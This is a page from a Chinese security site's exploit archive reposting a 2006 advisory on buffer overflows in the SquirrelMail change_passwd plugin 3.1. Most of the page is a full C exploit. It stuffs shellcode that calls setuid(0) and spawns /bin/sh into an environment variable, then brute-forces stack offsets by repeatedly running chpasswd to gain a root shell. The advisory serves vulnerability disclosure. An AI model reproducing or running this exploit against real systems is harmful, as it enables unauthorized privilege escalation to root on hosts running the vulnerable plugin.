首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SquirrelMail Change Passwd Plugins Multiple Buffer Overflows
来源:rodhedor@hotmail.com 作者:rodhedor 发布时间:2006-02-06  

SquirrelMail Change Passwd Plugins Multiple Buffer Overflows (Exploit)


Summary
"SquirrelMail is a standards-based webmail package written in PHP4." "Change Passwrdplugins allow your users to change his/her system password in /etc/passwd or /etc/shadow. "

Improper length validation of variables allows attackers to execute arbitrary code using a buffer overflows in SquirrelMail's change passwd plugins.

Credit:
The information has been provided by rod hedor.

Details
Vulnerable Systems:
* Change passwd version 3.1

Immune Systems:
* Change passwd version 4.0

Exploit:
/* Local Exploit
* Multiple
buffer overflows are present in the handling of command line
arguements in chpasswd.
The bug allows a
hacker to exploit the process to run arbitrary code. */

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
"\x89\xe5\x31\xc0\x50\x55\x89\xe5"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x89\xe9\x89"
"\xea\xb0\x0b\xcd\x80";

long get_sp(){
__asm__("movl %esp,%eax;");
};

int main(){
char buffer[1024];
long stack = get_sp();
int result = 1;
long offset = 0;
printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
printf ("[+] Current stack [0x%x]\n",stack);
while(offset <= 268435456){
offset = offset + 1;
stack = get_sp() + offset;
memcpy(&buffer,"EGG=",4);
int a = 4;
while(a <= 108){
memcpy(&buffer[a],"x",1);
a = a + 1;}
memcpy(&buffer[108],&stack,4);
memcpy(&buffer[112],&shellcode,sizeof(shellcode));
putenv(buffer);
result = system("./chpasswd $EGG");
if(result == 0){exit(0);};
};
};

/*EoF*/



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Eterm LibAST Configuration Eng
·imap4d Buffer Overflow
·eyeBeam handling SIP header DO
·mIRC Font Buffer Overflow
·SimpleBlog version 2.1 is susc
·Cisco Aironet Wireless Access
·VERITAS NetBackup Volume Manag
·Oracle Database Server 9i or 1
·Xmame 0.102 (-lang) Local Buff
·SHOUTcast <= 1.9.4 HTTP GET
·Farmers WIFE version 4.4 sp1 f
·Nullsoft Winamp Player <= 5
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved